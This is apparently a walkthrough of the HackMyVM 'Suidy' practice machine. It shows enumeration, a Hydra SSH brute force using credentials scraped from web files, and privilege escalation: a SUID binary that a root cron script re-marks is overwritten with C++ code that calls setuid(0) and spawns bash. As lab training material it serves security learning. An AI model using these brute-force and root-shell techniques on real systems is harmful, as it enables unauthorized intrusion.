[HMV] Suidy
Table of Contents
| URL | 🔗 |
|---|---|
| Level | Medium |
| Target domain | http://target.local |
Enumeration#
Initial Nmap Scan#
I started the enumeration process by running an initial Nmap scan on the target machine:
nmap -p- -oN nmap.txt target.local
The scan revealed open ports 80 (http) and 22 (ssh).
Website recce#
Exploring the website, I checked the robots.txt file:
curl http://target.local/robots.txt
It contained the entry /shehatesme.
Visiting the newfound path, I found a message and an image:

Gobuster and File Download#
I used Gobuster to discover files in the /shehatesme directory:
gobuster fuzz -u http://target.local/shehatesme/FUZZ.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep -v "404" | awk -F/ '{print $NF}' > filelist.txt
Then, I downloaded all the files:
while read -r filename; do wget http://target.local/shehatesme/"$filename"; done < filelist.txt
I concatenated all files and deduped the resulting file:
cat * > all.txt
sort all.txt | uniq > all_uniq.txt
Ultimately, I replaced / with : in the file names:
sed -i "s/\//:/g" all_uniq.txt
After these steps, I had a list of potential SSH credentials:
hidden1/passZZ!
jaime11/JKiufg6
jhfbvgt/iugbnvh
john765/FDrhguy
maria11/jhfgyRf
mmnnbbv/iughtyr
nhvjguy/kjhgyut
smileys/98GHbjh
theuser/thepass
yuijhse/hjupnkk
💡 Why bother with replacing
/w/:?By doing so we can use them with Hydra directly:
hydra -C all_uniq.txt target.local ssh
Exploitation#
SSH Access#
Attempting to log in with the credentials theuser/thepass, I successfully gained access to SSH:
ssh theuser@target.local
theuser\'s password: # thepass
id
uid=1001(suidy) gid=1000(theuser) grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
ls
user.txt
cat user.txt
<redacted>
Priv Esc#
ls /home
theuser suidy
cd /home/suidy
ls
note.txt suidyyyyy
I didn’t have permissions to cat note.txt. Out of curiosity, I executed the binary with ./suidyyyyy note.txt and suddenly had the suidy’s shell.
# suidy's shell
find / -perm -4000 2>/dev/null
/home/suidy/suidyyyyy
# ...
The suidyyyyy binary was SUID one (no shit, sherlock).
Now I could read that note.txt:
I love SUID files!
The best file is suidyyyyy because users can use it to feel as I feel.
root know it and run an script to be sure that my file has SUID.
If you are "theuser" I hate you!
-suidy
This led me to assumption that the root ran some script to ensure that the suidyyyyy binary was SUID. I still needed to verify that, though.
Looking up the Script#
I used pspy64 to spy the processes ran with root privileges:
2024/01/03 14:17:01 CMD: UID=0 PID=1592 | /bin/sh -c sh /root/timer.sh
2024/01/03 14:17:01 CMD: UID=0 PID=1593 | sh /root/timer.sh
It seemed the mentioned script was /root/timer.sh, given the UID=0.
I observed the script contents:
cat /root/timer.sh
It contained the command chmod +s /home/suidy/suidyyyyy, indicating that the SUID bit is set for the suidyyyyy binary each minute.
At this point, I had the idea of replacing /home/suidyyyyy with my very own script to exploit the periodic SUID setting.
ℹ️ Info
I was able to modify the binary, because it belonged to
theusergroup (in this case by overwriting it with another one built withgcc -o suidyyyyy). However, I couldn’t make a new one with the same permissions.Without the
rootperm that was kept after compiling an exploit, the resulting binary I’d be left withtheuser/theuserpermissions.
I replaced the suidyyyyy binary with the one I built:
#include <iostream>
#include <unistd.h>
int main() {
if (setuid(0) != 0 || setgid(0) != 0) {
std::cerr << "Failed to set UID or GID to 0." << std::endl;
return 1;
}
char *shell_args[] = {"/bin/bash", nullptr};
execve("/bin/bash", shell_args, nullptr);
std::cerr << "Failed to spawn shell." << std::endl;
return 1;
}
After a minute I was able to run the binary with root privileges and spawned his shell:
# root's shell
cd /home/root
ls
root.txt timer.sh
Pwned?#
cat root.txt
<redacted>
You bet.